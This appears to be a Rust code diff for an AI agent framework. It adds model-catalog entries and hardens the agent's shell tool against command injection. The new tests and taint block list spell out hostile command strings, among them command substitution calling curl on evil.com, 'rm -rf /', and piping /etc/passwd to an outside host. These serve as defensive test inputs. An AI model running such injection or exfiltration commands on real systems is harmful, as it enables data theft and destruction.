LEMONADE_BASE_URL, OPENAI_BASE_URL, OPENROUTER_BASE_URL, PERPLEXITY_BASE_URL,
|
||||
QIANFAN_BASE_URL, QWEN_BASE_URL,
|
||||
REPLICATE_BASE_URL, SAMBANOVA_BASE_URL, TOGETHER_BASE_URL, VENICE_BASE_URL, VLLM_BASE_URL,
|
||||
VOLCENGINE_BASE_URL, VOLCENGINE_CODING_BASE_URL, XAI_BASE_URL, ZAI_BASE_URL,
|
||||
ZAI_CODING_BASE_URL, ZHIPU_BASE_URL, ZHIPU_CODING_BASE_URL,
|
||||
};
|
||||
@@ -26,9 +27,17 @@ impl ModelCatalog {
|
||||
/// Create a new catalog populated with builtin models and providers.
|
||||
pub fn new() -> Self {
|
||||
let models = builtin_models();
|
||||
let aliases = builtin_aliases();
|
||||
let mut aliases = builtin_aliases();
|
||||
let mut providers = builtin_providers();
|
||||
|
||||
// Auto-register aliases defined on model entries
|
||||
for model in &models {
|
||||
for alias in &model.aliases {
|
||||
let lower = alias.to_lowercase();
|
||||
aliases.entry(lower).or_insert_with(|| model.id.clone());
|
||||
}
|
||||
}
|
||||
|
||||
// Set model counts on providers
|
||||
for provider in &mut providers {
|
||||
provider.model_count = models.iter().filter(|m| m.provider == provider.id).count();
|
||||
@@ -162,14 +171,27 @@ impl ModelCatalog {
|
||||
p.base_url = url.to_string();
|
||||
true
|
||||
} else {
|
||||
false
|
||||
// Custom provider — add a new entry so it appears in /api/providers
|
||||
let env_var = format!("{}_API_KEY", provider.to_uppercase().replace('-', "_"));
|
||||
self.providers.push(ProviderInfo {
|
||||
id: provider.to_string(),
|
||||
display_name: provider.to_string(),
|
||||
api_key_env: env_var,
|
||||
base_url: url.to_string(),
|
||||
key_required: true,
|
||||
auth_status: AuthStatus::Missing,
|
||||
model_count: 0,
|
||||
});
|
||||
// Re-detect auth for the newly added provider
|
||||
self.detect_auth();
|
||||
true
|
||||
}
|
||||
}
|
||||
|
||||
/// Apply a batch of provider URL overrides from config.
|
||||
///
|
||||
/// Each entry maps a provider ID to a custom base URL.
|
||||
/// Unknown providers are silently skipped.
|
||||
/// Unknown providers are automatically added as custom OpenAI-compatible entries.
|
||||
/// Providers with explicit URL overrides are marked as configured since
|
||||
/// the user intentionally set them up (e.g. local proxies, custom endpoints).
|
||||
pub fn apply_url_overrides(&mut self, overrides: &HashMap<String, String>) {
|
||||
@@ -240,11 +262,16 @@ impl ModelCatalog {
|
||||
|
||||
/// Add a custom model at runtime.
|
||||
///
|
||||
/// Returns `true` if the model was added, `false` if a model with that ID
|
||||
/// already exists (case-insensitive).
|
||||
/// Returns `true` if the model was added, `false` if a model with the same
|
||||
/// ID **and** provider already exists (case-insensitive).
|
||||
pub fn add_custom_model(&mut self, entry: ModelCatalogEntry) -> bool {
|
||||
let lower = entry.id.to_lowercase();
|
||||
if self.models.iter().any(|m| m.id.to_lowercase() == lower) {
|
||||
let lower_id = entry.id.to_lowercase();
|
||||
let lower_provider = entry.provider.to_lowercase();
|
||||
if self
|
||||
.models
|
||||
.iter()
|
||||
.any(|m| m.id.to_lowercase() == lower_id && m.provider.to_lowercase() == lower_provider)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
let provider = entry.provider.clone();
|
||||
@@ -473,6 +500,15 @@ fn builtin_providers() -> Vec<ProviderInfo> {
|
||||
auth_status: AuthStatus::NotRequired,
|
||||
model_count: 0,
|
||||
},
|
||||
ProviderInfo {
|
||||
id: "lemonade".into(),
|
||||
display_name: "Lemonade".into(),
|
||||
api_key_env: "LEMONADE_API_KEY".into(),
|
||||
base_url: LEMONADE_BASE_URL.into(),
|
||||
key_required: false,
|
||||
auth_status: AuthStatus::NotRequired,
|
||||
model_count: 0,
|
||||
},
|
||||
// ── New providers (8) ──────────────────────────────────────
|
||||
ProviderInfo {
|
||||
id: "perplexity".into(),
|
||||
@@ -556,6 +592,16 @@ fn builtin_providers() -> Vec<ProviderInfo> {
|
||||
auth_status: AuthStatus::Missing,
|
||||
model_count: 0,
|
||||
},
|
||||
// ── Venice.ai ────────────────────────────────────────────────
|
||||
ProviderInfo {
|
||||
id: "venice".into(),
|
||||
display_name: "Venice.ai".into(),
|
||||
api_key_env: "VENICE_API_KEY".into(),
|
||||
base_url: VENICE_BASE_URL.into(),
|
||||
key_required: true,
|
||||
auth_status: AuthStatus::Missing,
|
||||
model_count: 0,
|
||||
},
|
||||
// ── Chinese providers (5) ────────────────────────────────────
|
||||
ProviderInfo {
|
||||
id: "qwen".into(),
|
||||
@@ -732,7 +778,7 @@ fn builtin_aliases() -> HashMap<String, String> {
|
||||
("qwen", "qwen-plus"),
|
||||
("glm", "glm-5-20250605"),
|
||||
("ernie", "ernie-4.5-8k"),
|
||||
("kimi", "moonshot-v1-128k"),
|
||||
("kimi", "kimi-k2-0711"),
|
||||
("minimax", "MiniMax-M2.5"),
|
||||
("minimax-m2.5", "MiniMax-M2.5"),
|
||||
("minimax-m2.1", "MiniMax-M2.1"),
|
||||
@@ -741,6 +787,8 @@ fn builtin_aliases() -> HashMap<String, String> {
|
||||
("codex", "codex/gpt-4.1"),
|
||||
("codex-4.1", "codex/gpt-4.1"),
|
||||
("codex-o4", "codex/o4-mini"),
|
||||
// Venice aliases
|
||||
("venice", "venice-uncensored"),
|
||||
// Claude Code aliases
|
||||
("claude-code", "claude-code/sonnet"),
|
||||
("claude-code-opus", "claude-code/opus"),
|
||||
@@ -1432,47 +1480,19 @@ fn builtin_models() -> Vec<ModelCatalogEntry> {
|
||||
// OpenRouter (11)
|
||||
// ══════════════════════════════════════════════════════════════
|
||||
ModelCatalogEntry {
|
||||
id: "openrouter/auto".into(),
|
||||
display_name: "OpenRouter Auto".into(),
|
||||
id: "openrouter/openai/gpt-4o".into(),
|
||||
display_name: "GPT-4o (OpenRouter)".into(),
|
||||
provider: "openrouter".into(),
|
||||
tier: ModelTier::Smart,
|
||||
context_window: 200_000,
|
||||
max_output_tokens: 32_000,
|
||||
input_cost_per_m: 1.0,
|
||||
output_cost_per_m: 3.0,
|
||||
context_window: 128_000,
|
||||
max_output_tokens: 16_384,
|
||||
input_cost_per_m: 2.5,
|
||||
output_cost_per_m: 10.0,
|
||||
supports_tools: true,
|
||||
supports_vision: true,
|
||||
supports_streaming: true,
|
||||
aliases: vec![],
|
||||
},
|
||||
ModelCatalogEntry {
|
||||
id: "openrouter/optimus".into(),
|
||||
display_name: "OpenRouter Optimus".into(),
|
||||
provider: "openrouter".into(),
|
||||
tier: ModelTier::Balanced,
|
||||
context_window: 200_000,
|
||||
max_output_tokens: 32_000,
|
||||
input_cost_per_m: 0.50,
|
||||
output_cost_per_m: 1.50,
|
||||
supports_tools: true,
|
||||
supports_vision: false,
|
||||
supports_streaming: true,
|
||||
aliases: vec![],
|
||||
},
|
||||
ModelCatalogEntry {
|
||||
id: "openrouter/nitro".into(),
|
||||
display_name: "OpenRouter Nitro".into(),
|
||||
provider: "openrouter".into(),
|
||||
tier: ModelTier::Fast,
|
||||
context_window: 128_000,
|
||||
max_output_tokens: 16_000,
|
||||
input_cost_per_m: 0.20,
|
||||
output_cost_per_m: 0.60,
|
||||
supports_tools: true,
|
||||
supports_vision: false,
|
||||
supports_streaming: true,
|
||||
aliases: vec![],
|
||||
},
|
||||
ModelCatalogEntry {
|
||||
id: "openrouter/anthropic/claude-sonnet-4".into(),
|
||||
display_name: "Claude Sonnet 4 (OpenRouter)".into(),
|
||||
@@ -2571,6 +2591,76 @@ fn builtin_models() -> Vec<ModelCatalogEntry> {
|
||||
supports_streaming: true,
|
||||
aliases: vec![],
|
||||
},
|
||||
ModelCatalogEntry {
|
||||
id: "qwen3-235b-a22b".into(),
|
||||
display_name: "Qwen3 235B".into(),
|
||||
provider: "qwen".into(),
|
||||
tier: ModelTier::Frontier,
|
||||
context_window: 131_072,
|
||||
max_output_tokens: 8_192,
|
||||
input_cost_per_m: 4.00,
|
||||
output_cost_per_m: 12.00,
|
||||
supports_tools: true,
|
||||
supports_vision: false,
|
||||
supports_streaming: true,
|
||||
aliases: vec!["qwen3".into()],
|
||||
},
|
||||
ModelCatalogEntry {
|
||||
id: "qwen3-30b-a3b".into(),
|
||||
display_name: "Qwen3 30B".into(),
|
||||
provider: "qwen".into(),
|
||||
tier: ModelTier::Fast,
|
||||
context_window: 131_072,
|
||||
max_output_tokens: 8_192,
|
||||
input_cost_per_m: 0.30,
|
||||
output_cost_per_m: 0.60,
|
||||
supports_tools: true,
|
||||
supports_vision: false,
|
||||
supports_streaming: true,
|
||||
aliases: vec![],
|
||||
},
|
||||
ModelCatalogEntry {
|
||||
id: "qwen-coder-plus-latest".into(),
|
||||
display_name: "Qwen Coder Plus (Latest)".into(),
|
||||
provider: "qwen".into(),
|
||||
tier: ModelTier::Smart,
|
||||
context_window: 131_072,
|
||||
max_output_tokens: 8_192,
|
||||
input_cost_per_m: 0.80,
|
||||
output_cost_per_m: 2.00,
|
||||
supports_tools: true,
|
||||
supports_vision: false,
|
||||
supports_streaming: true,
|
||||
aliases: vec!["qwen-coder".into()],
|
||||
},
|
||||
ModelCatalogEntry {
|
||||
id: "qwen2.5-coder-32b-instruct".into(),
|
||||
display_name: "Qwen 2.5 Coder 32B".into(),
|
||||
provider: "qwen".into(),
|
||||
tier: ModelTier::Balanced,
|
||||
context_window: 131_072,
|
||||
max_output_tokens: 8_192,
|
||||
input_cost_per_m: 0.80,
|
||||
output_cost_per_m: 2.00,
|
||||
supports_tools: true,
|
||||
supports_vision: false,
|
||||
supports_streaming: true,
|
||||
aliases: vec![],
|
||||
},
|
||||
ModelCatalogEntry {
|
||||
id: "qwen-vl-max".into(),
|
||||
display_name: "Qwen VL Max".into(),
|
||||
provider: "qwen".into(),
|
||||
tier: ModelTier::Frontier,
|
||||
context_window: 32_768,
|
||||
max_output_tokens: 8_192,
|
||||
input_cost_per_m: 3.00,
|
||||
output_cost_per_m: 9.00,
|
||||
supports_tools: false,
|
||||
supports_vision: true,
|
||||
supports_streaming: true,
|
||||
aliases: vec![],
|
||||
},
|
||||
// ══════════════════════════════════════════════════════════════
|
||||
// MiniMax (4)
|
||||
// ══════════════════════════════════════════════════════════════
|
||||
@@ -2735,7 +2825,7 @@ fn builtin_models() -> Vec<ModelCatalogEntry> {
|
||||
aliases: vec!["codegeex".into()],
|
||||
},
|
||||
// ══════════════════════════════════════════════════════════════
|
||||
// Moonshot / Kimi (3)
|
||||
// Moonshot / Kimi (5)
|
||||
// ══════════════════════════════════════════════════════════════
|
||||
ModelCatalogEntry {
|
||||
id: "moonshot-v1-128k".into(),
|
||||
@@ -2749,7 +2839,7 @@ fn builtin_models() -> Vec<ModelCatalogEntry> {
|
||||
supports_tools: true,
|
||||
supports_vision: false,
|
||||
supports_streaming: true,
|
||||
aliases: vec!["kimi".into()],
|
||||
aliases: vec![],
|
||||
},
|
||||
ModelCatalogEntry {
|
||||
id: "moonshot-v1-32k".into(),
|
||||
@@ -2779,6 +2869,34 @@ fn builtin_models() -> Vec<ModelCatalogEntry> {
|
||||
supports_streaming: true,
|
||||
aliases: vec![],
|
||||
},
|
||||
ModelCatalogEntry {
|
||||
id: "kimi-k2-0711".into(),
|
||||
display_name: "Kimi K2".into(),
|
||||
provider: "moonshot".into(),
|
||||
tier: ModelTier::Frontier,
|
||||
context_window: 131_072,
|
||||
max_output_tokens: 16_384,
|
||||
input_cost_per_m: 2.00,
|
||||
output_cost_per_m: 8.00,
|
||||
supports_tools: true,
|
||||
supports_vision: true,
|
||||
supports_streaming: true,
|
||||
aliases: vec!["kimi-k2".into()],
|
||||
},
|
||||
ModelCatalogEntry {
|
||||
id: "kimi-k2.5-0711".into(),
|
||||
display_name: "Kimi K2.5".into(),
|
||||
provider: "moonshot".into(),
|
||||
tier: ModelTier::Frontier,
|
||||
context_window: 131_072,
|
||||
max_output_tokens: 16_384,
|
||||
input_cost_per_m: 2.00,
|
||||
output_cost_per_m: 8.00,
|
||||
supports_tools: true,
|
||||
supports_vision: true,
|
||||
supports_streaming: true,
|
||||
aliases: vec!["kimi-k2.5".into()],
|
||||
},
|
||||
// ══════════════════════════════════════════════════════════════
|
||||
// Baidu Qianfan / ERNIE (3)
|
||||
// ══════════════════════════════════════════════════════════════
|
||||
@@ -3074,6 +3192,51 @@ fn builtin_models() -> Vec<ModelCatalogEntry> {
|
||||
supports_streaming: true,
|
||||
aliases: vec!["claude-code-haiku".into()],
|
||||
},
|
||||
// ══════════════════════════════════════════════════════════════
|
||||
// Venice.ai (3)
|
||||
// ══════════════════════════════════════════════════════════════
|
||||
ModelCatalogEntry {
|
||||
id: "venice-uncensored".into(),
|
||||
display_name: "Venice Uncensored".into(),
|
||||
provider: "venice".into(),
|
||||
tier: ModelTier::Fast,
|
||||
context_window: 32_000,
|
||||
max_output_tokens: 8_192,
|
||||
input_cost_per_m: 0.20,
|
||||
output_cost_per_m: 0.90,
|
||||
supports_tools: true,
|
||||
supports_vision: false,
|
||||
supports_streaming: true,
|
||||
aliases: vec!["venice".into()],
|
||||
},
|
||||
ModelCatalogEntry {
|
||||
id: "llama-3.3-70b".into(),
|
||||
display_name: "Llama 3.3 70B (Venice)".into(),
|
||||
provider: "venice".into(),
|
||||
tier: ModelTier::Balanced,
|
||||
context_window: 128_000,
|
||||
max_output_tokens: 8_192,
|
||||
input_cost_per_m: 0.20,
|
||||
output_cost_per_m: 0.90,
|
||||
supports_tools: true,
|
||||
supports_vision: false,
|
||||
supports_streaming: true,
|
||||
aliases: vec![],
|
||||
},
|
||||
ModelCatalogEntry {
|
||||
id: "qwen3-235b-a22b-instruct-2507".into(),
|
||||
display_name: "Qwen3 235B A22B (Venice)".into(),
|
||||
provider: "venice".into(),
|
||||
tier: ModelTier::Smart,
|
||||
context_window: 128_000,
|
||||
max_output_tokens: 8_192,
|
||||
input_cost_per_m: 0.20,
|
||||
output_cost_per_m: 0.90,
|
||||
supports_tools: true,
|
||||
supports_vision: false,
|
||||
supports_streaming: true,
|
||||
aliases: vec![],
|
||||
},
|
||||
]
|
||||
}
|
||||
|
||||
@@ -3090,7 +3253,7 @@ mod tests {
|
||||
#[test]
|
||||
fn test_catalog_has_providers() {
|
||||
let catalog = ModelCatalog::new();
|
||||
assert_eq!(catalog.list_providers().len(), 34);
|
||||
assert_eq!(catalog.list_providers().len(), 36);
|
||||
}
|
||||
|
||||
#[test]
|
||||
@@ -3361,8 +3524,15 @@ mod tests {
|
||||
#[test]
|
||||
fn test_set_provider_url_unknown() {
|
||||
let mut catalog = ModelCatalog::new();
|
||||
let updated = catalog.set_provider_url("nonexistent", "http://localhost:9999");
|
||||
assert!(!updated);
|
||||
let initial_count = catalog.list_providers().len();
|
||||
let updated = catalog.set_provider_url("my-custom-llm", "http://localhost:9999");
|
||||
// Unknown providers are now auto-registered as custom entries
|
||||
assert!(updated);
|
||||
assert_eq!(catalog.list_providers().len(), initial_count + 1);
|
||||
assert_eq!(
|
||||
catalog.get_provider("my-custom-llm").unwrap().base_url,
|
||||
"http://localhost:9999"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
|
||||
@@ -87,6 +87,67 @@ pub fn validate_executable_path(path: &str) -> Result<(), String> {
|
||||
|
||||
use openfang_types::config::{ExecPolicy, ExecSecurityMode};
|
||||
|
||||
/// SECURITY: Check for shell metacharacters that enable command injection.
|
||||
///
|
||||
/// Blocks ALL shell operators that can chain commands, redirect I/O,
|
||||
/// perform substitution, or otherwise escape the intended command boundary.
|
||||
/// This is a defense-in-depth layer — even with allowlist validation,
|
||||
/// metacharacters must be rejected first to prevent injection.
|
||||
pub fn contains_shell_metacharacters(command: &str) -> Option<String> {
|
||||
// ── Command substitution ──────────────────────────────────────────
|
||||
// Backtick substitution: `cmd`
|
||||
if command.contains('`') {
|
||||
return Some("backtick command substitution".to_string());
|
||||
}
|
||||
// Dollar-paren substitution: $(cmd)
|
||||
if command.contains("$(") {
|
||||
return Some("$() command substitution".to_string());
|
||||
}
|
||||
// Dollar-brace expansion: ${VAR}
|
||||
if command.contains("${") {
|
||||
return Some("${} variable expansion".to_string());
|
||||
}
|
||||
|
||||
// ── Command chaining ──────────────────────────────────────────────
|
||||
// Semicolons: cmd1;cmd2
|
||||
if command.contains(';') {
|
||||
return Some("semicolon command chaining".to_string());
|
||||
}
|
||||
// Pipes: cmd1|cmd2 (data exfiltration + arbitrary command)
|
||||
if command.contains('|') {
|
||||
return Some("pipe operator".to_string());
|
||||
}
|
||||
|
||||
// ── I/O redirection ───────────────────────────────────────────────
|
||||
// Output/input/append redirect: >, <, >>
|
||||
// Also catches here-strings <<<, process substitution <() >()
|
||||
if command.contains('>') || command.contains('<') {
|
||||
return Some("I/O redirection".to_string());
|
||||
}
|
||||
|
||||
// ── Expansion and globbing ────────────────────────────────────────
|
||||
// Brace expansion: {cmd1,cmd2} or {1..10}
|
||||
if command.contains('{') || command.contains('}') {
|
||||
return Some("brace expansion".to_string());
|
||||
}
|
||||
|
||||
// ── Embedded newlines ─────────────────────────────────────────────
|
||||
if command.contains('\n') || command.contains('\r') {
|
||||
return Some("embedded newline".to_string());
|
||||
}
|
||||
// Null bytes (can truncate strings in C-based shells)
|
||||
if command.contains('\0') {
|
||||
return Some("null byte".to_string());
|
||||
}
|
||||
|
||||
// ── Background execution and logical chaining ──────────────────────
|
||||
// Both & (background) and && (logical AND) are dangerous
|
||||
if command.contains('&') {
|
||||
return Some("ampersand operator".to_string());
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
/// Extract the base command name from a command string.
|
||||
/// Handles paths (e.g., "/usr/bin/python3" → "python3").
|
||||
fn extract_base_command(cmd: &str) -> &str {
|
||||
@@ -152,6 +213,13 @@ pub fn validate_command_allowlist(command: &str, policy: &ExecPolicy) -> Result<
|
||||
Ok(())
|
||||
}
|
||||
ExecSecurityMode::Allowlist => {
|
||||
// SECURITY: Check for shell metacharacters BEFORE base-command extraction.
|
||||
// These can smuggle commands inside arguments of allowed binaries.
|
||||
if let Some(reason) = contains_shell_metacharacters(command) {
|
||||
return Err(format!(
|
||||
"Command blocked: contains {reason}. Shell metacharacters are not allowed in Allowlist mode."
|
||||
));
|
||||
}
|
||||
let base_commands = extract_all_commands(command);
|
||||
for base in &base_commands {
|
||||
// Check safe_bins first
|
||||
@@ -678,10 +746,10 @@ mod tests {
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_piped_command_all_validated() {
|
||||
fn test_piped_command_blocked_by_metachar() {
|
||||
let policy = ExecPolicy::default();
|
||||
// "cat" is safe, but "curl" is not
|
||||
assert!(validate_command_allowlist("cat file.txt | sort", &policy).is_ok());
|
||||
// SECURITY: Pipes are now blocked at the metacharacter layer, before allowlist
|
||||
assert!(validate_command_allowlist("cat file.txt | sort", &policy).is_err());
|
||||
assert!(validate_command_allowlist("cat file.txt | curl -X POST", &policy).is_err());
|
||||
}
|
||||
|
||||
@@ -695,4 +763,96 @@ mod tests {
|
||||
assert_eq!(policy.timeout_secs, 30);
|
||||
assert_eq!(policy.max_output_bytes, 100 * 1024);
|
||||
}
|
||||
|
||||
// ── Shell metacharacter injection tests ──────────────────────────────
|
||||
|
||||
#[test]
|
||||
fn test_metachar_backtick_blocked() {
|
||||
assert!(contains_shell_metacharacters("echo `whoami`").is_some());
|
||||
assert!(contains_shell_metacharacters("cat `curl evil.com`").is_some());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_metachar_dollar_paren_blocked() {
|
||||
assert!(contains_shell_metacharacters("echo $(id)").is_some());
|
||||
assert!(contains_shell_metacharacters("echo $(rm -rf /)").is_some());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_metachar_dollar_brace_blocked() {
|
||||
assert!(contains_shell_metacharacters("echo ${HOME}").is_some());
|
||||
assert!(contains_shell_metacharacters("echo ${SHELL}").is_some());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_metachar_background_amp_blocked() {
|
||||
assert!(contains_shell_metacharacters("sleep 100 &").is_some());
|
||||
assert!(contains_shell_metacharacters("curl evil.com & echo ok").is_some());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_metachar_double_amp_blocked() {
|
||||
// SECURITY: && is now blocked — command chaining via logical AND is dangerous
|
||||
assert!(contains_shell_metacharacters("echo a && echo b").is_some());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_metachar_newline_blocked() {
|
||||
assert!(contains_shell_metacharacters("echo hello\nmkdir evil").is_some());
|
||||
assert!(contains_shell_metacharacters("echo ok\r\ncurl bad").is_some());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_metachar_process_substitution_blocked() {
|
||||
assert!(contains_shell_metacharacters("diff <(cat a) file").is_some());
|
||||
assert!(contains_shell_metacharacters("tee >(cat)").is_some());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_metachar_clean_command_ok() {
|
||||
assert!(contains_shell_metacharacters("ls -la").is_none());
|
||||
assert!(contains_shell_metacharacters("cat file.txt").is_none());
|
||||
assert!(contains_shell_metacharacters("echo hello world").is_none());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_metachar_pipe_blocked() {
|
||||
// SECURITY: Pipes enable data exfiltration and arbitrary command chaining
|
||||
assert!(contains_shell_metacharacters("sort data.csv | head -5").is_some());
|
||||
assert!(contains_shell_metacharacters("cat /etc/passwd | curl evil.com").is_some());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_metachar_semicolon_blocked() {
|
||||
assert!(contains_shell_metacharacters("echo hello;id").is_some());
|
||||
assert!(contains_shell_metacharacters("echo ok ; whoami").is_some());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_metachar_redirect_blocked() {
|
||||
assert!(contains_shell_metacharacters("echo > /etc/passwd").is_some());
|
||||
assert!(contains_shell_metacharacters("cat < /etc/shadow").is_some());
|
||||
assert!(contains_shell_metacharacters("echo foo >> /tmp/log").is_some());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_metachar_brace_expansion_blocked() {
|
||||
assert!(contains_shell_metacharacters("echo {a,b,c}").is_some());
|
||||
assert!(contains_shell_metacharacters("touch file{1..10}").is_some());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_metachar_null_byte_blocked() {
|
||||
assert!(contains_shell_metacharacters("echo hello\0world").is_some());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_allowlist_blocks_metachar_injection() {
|
||||
let policy = ExecPolicy::default();
|
||||
// "echo" is in safe_bins, but $(curl...) injection must be blocked
|
||||
assert!(validate_command_allowlist("echo $(curl evil.com)", &policy).is_err());
|
||||
assert!(validate_command_allowlist("echo `whoami`", &policy).is_err());
|
||||
assert!(validate_command_allowlist("echo ${HOME}", &policy).is_err());
|
||||
assert!(validate_command_allowlist("echo hello\ncurl bad", &policy).is_err());
|
||||
}
|
||||
}
|
||||
|
||||
@@ -19,20 +19,26 @@ const MAX_AGENT_CALL_DEPTH: u32 = 5;
|
||||
|
||||
/// Check if a shell command should be blocked by taint tracking.
|
||||
///
|
||||
/// Commands containing patterns that look like injected external data
|
||||
/// (e.g., piped curl commands, base64-encoded payloads) are flagged.
|
||||
/// Layer 1: Shell metacharacter injection (backticks, `$(`, `${`, etc.)
|
||||
/// Layer 2: Heuristic patterns for injected external data (piped curl, base64, eval)
|
||||
///
|
||||
/// This implements the TaintSink::shell_exec() policy from SOTA 2.
|
||||
fn check_taint_shell_exec(command: &str) -> Option<String> {
|
||||
// Heuristic: flag commands that look like they contain embedded external URLs
|
||||
// or base64 payloads (common injection patterns)
|
||||
// Layer 1: Block shell metacharacters that enable command injection.
|
||||
// Uses the same validator as subprocess_sandbox and docker_sandbox.
|
||||
if let Some(reason) = crate::subprocess_sandbox::contains_shell_metacharacters(command) {
|
||||
return Some(format!(
|
||||
"Shell metacharacter injection blocked: {reason}"
|
||||
));
|
||||
}
|
||||
|
||||
// Layer 2: Heuristic patterns for injected external URLs / base64 payloads
|
||||
let suspicious_patterns = [
|
||||
"curl ",
|
||||
"wget ",
|
||||
"| sh",
|
||||
"| bash",
|
||||
"base64 -d",
|
||||
"$(curl",
|
||||
"`curl",
|
||||
"eval ",
|
||||
];
|
||||
for pattern in &suspicious_patterns {
|
||||
@@ -206,10 +212,24 @@ pub async fn execute_tool(
|
||||
}
|
||||
}
|
||||
|
||||
// Shell tool — exec policy + taint check
|
||||
// Shell tool — metacharacter check + exec policy + taint check
|
||||
"shell_exec" => {
|
||||
let command = input["command"].as_str().unwrap_or("");
|
||||
// Exec policy enforcement
|
||||
|
||||
// SECURITY: Always check for shell metacharacters, even in Full mode.
|
||||
// These enable command injection regardless of exec policy.
|
||||
if let Some(reason) = crate::subprocess_sandbox::contains_shell_metacharacters(command) {
|
||||
return ToolResult {
|
||||
tool_use_id: tool_use_id.to_string(),
|
||||
content: format!(
|
||||
"shell_exec blocked: command contains {reason}. \
|
||||
Shell metacharacters are never allowed."
|
||||
),
|
||||
is_error: true,
|
||||
};
|
||||
}
|
||||
|
||||
// Exec policy enforcement (allowlist / deny / full)
|
||||
if let Some(policy) = exec_policy {
|
||||
if let Err(reason) =
|
||||
crate::subprocess_sandbox::validate_command_allowlist(command, policy)
|
||||
@@ -225,7 +245,7 @@ pub async fn execute_tool(
|
||||
};
|
||||
}
|
||||
}
|
||||
// Skip taint check for Full exec policy (e.g. hand agents that need curl for APIs)
|
||||
// Skip heuristic taint patterns for Full exec policy (e.g. hand agents that need curl)
|
||||
let is_full_exec = exec_policy
|
||||
.is_some_and(|p| p.mode == openfang_types::config::ExecSecurityMode::Full);
|
||||
if !is_full_exec {
|
||||
@@ -296,6 +316,9 @@ pub async fn execute_tool(
|
||||
// Location tool
|
||||
"location_get" => tool_location_get().await,
|
||||
|
||||
// System time tool
|
||||
"system_time" => Ok(tool_system_time()),
|
||||
|
||||
// Cron scheduling tools
|
||||
"cron_create" => tool_cron_create(input, kernel, caller_agent_id).await,
|
||||
"cron_list" => tool_cron_list(kernel, caller_agent_id).await,
|
||||
@@ -996,16 +1019,19 @@ pub fn builtin_tool_definitions() -> Vec<ToolDefinition> {
|
||||
// --- Channel send tool (proactive outbound messaging) ---
|
||||
ToolDefinition {
|
||||
name: "channel_send".to_string(),
|
||||
description: "Send a message to a user on a configured channel (email, telegram, slack, etc). For email: recipient is the email address; optionally prefix the message with 'Subject: Your Subject\\n\\n' to set the email subject.".to_string(),
|
||||
description: "Send a message or media to a user on a configured channel (email, telegram, slack, etc). For email: recipient is the email address; optionally set subject. For media: set image_url or file_url to send an image or file instead of (or alongside) text.".to_string(),
|
||||
input_schema: serde_json::json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"channel": { "type": "string", "description": "Channel adapter name (e.g., 'email', 'telegram', 'slack', 'discord')" },
|
||||
"recipient": { "type": "string", "description": "Platform-specific recipient identifier (email address, user ID, etc.)" },
|
||||
"subject": { "type": "string", "description": "Optional subject line (used for email; ignored for other channels)" },
|
||||
"message": { "type": "string", "description": "The message body to send" }
|
||||
"message": { "type": "string", "description": "The message body to send (required for text, optional caption for media)" },
|
||||
"image_url": { "type": "string", "description": "URL of an image to send (supported on Telegram, Discord, Slack)" },
|
||||
"file_url": { "type": "string", "description": "URL of a file to send as attachment" },
|
||||
"filename": { "type": "string", "description": "Filename for file attachments (defaults to 'file')" }
|
||||
},
|
||||
"required": ["channel", "recipient", "message"]
|
||||
"required": ["channel", "recipient"]
|
||||
}),
|
||||
},
|
||||
// --- Hand tools (curated autonomous capability packages) ---
|
||||
@@ -1174,6 +1200,16 @@ pub fn builtin_tool_definitions() -> Vec<ToolDefinition> {
|
||||
"properties": {}
|
||||
}),
|
||||
},
|
||||
// --- System time tool ---
|
||||
ToolDefinition {
|
||||
name: "system_time".to_string(),
|
||||
description: "Get the current date, time, and timezone. Returns ISO 8601 timestamp, Unix epoch seconds, and timezone info.".to_string(),
|
||||
input_schema: serde_json::json!({
|
||||
"type": "object",
|
||||
"properties": {},
|
||||
"required": []
|
||||
}),
|
||||
},
|
||||
// --- Canvas / A2UI tool ---
|
||||
ToolDefinition {
|
||||
name: "canvas_present".to_string(),
|
||||
@@ -1402,39 +1438,66 @@ async fn tool_shell_exec(
|
||||
let policy_timeout = exec_policy.map(|p| p.timeout_secs).unwrap_or(30);
|
||||
let timeout_secs = input["timeout_seconds"].as_u64().unwrap_or(policy_timeout);
|
||||
|
||||
// Shell resolution: prefer sh (Git Bash/MSYS2) on Windows to avoid cmd.exe
|
||||
// quoting issues (% expansion mangles yt-dlp templates, " in filenames
|
||||
// converted to # by --restrict-filenames). Fall back to cmd if sh not found.
|
||||
#[cfg(windows)]
|
||||
let git_sh: Option<&str> = {
|
||||
const SH_PATHS: &[&str] = &[
|
||||
"C:\\Program Files\\Git\\usr\\bin\\sh.exe",
|
||||
"C:\\Program Files (x86)\\Git\\usr\\bin\\sh.exe",
|
||||
];
|
||||
SH_PATHS
|
||||
.iter()
|
||||
.copied()
|
||||
.find(|p| std::path::Path::new(p).exists())
|
||||
};
|
||||
let (shell, shell_arg) = if cfg!(windows) {
|
||||
#[cfg(windows)]
|
||||
{
|
||||
if let Some(sh) = git_sh {
|
||||
(sh, "-c")
|
||||
} else {
|
||||
("cmd", "/C")
|
||||
}
|
||||
}
|
||||
#[cfg(not(windows))]
|
||||
{
|
||||
("sh", "-c")
|
||||
}
|
||||
} else {
|
||||
("sh", "-c")
|
||||
};
|
||||
// SECURITY: Determine execution strategy based on exec policy.
|
||||
//
|
||||
// In Allowlist mode (default): Use direct execution via shlex argv splitting.
|
||||
// This avoids invoking a shell interpreter, which eliminates an entire class
|
||||
// of injection attacks (encoding tricks, $IFS, glob expansion, etc.).
|
||||
//
|
||||
// In Full mode: User explicitly opted into unrestricted shell access,
|
||||
// so we use sh -c / cmd /C as before.
|
||||
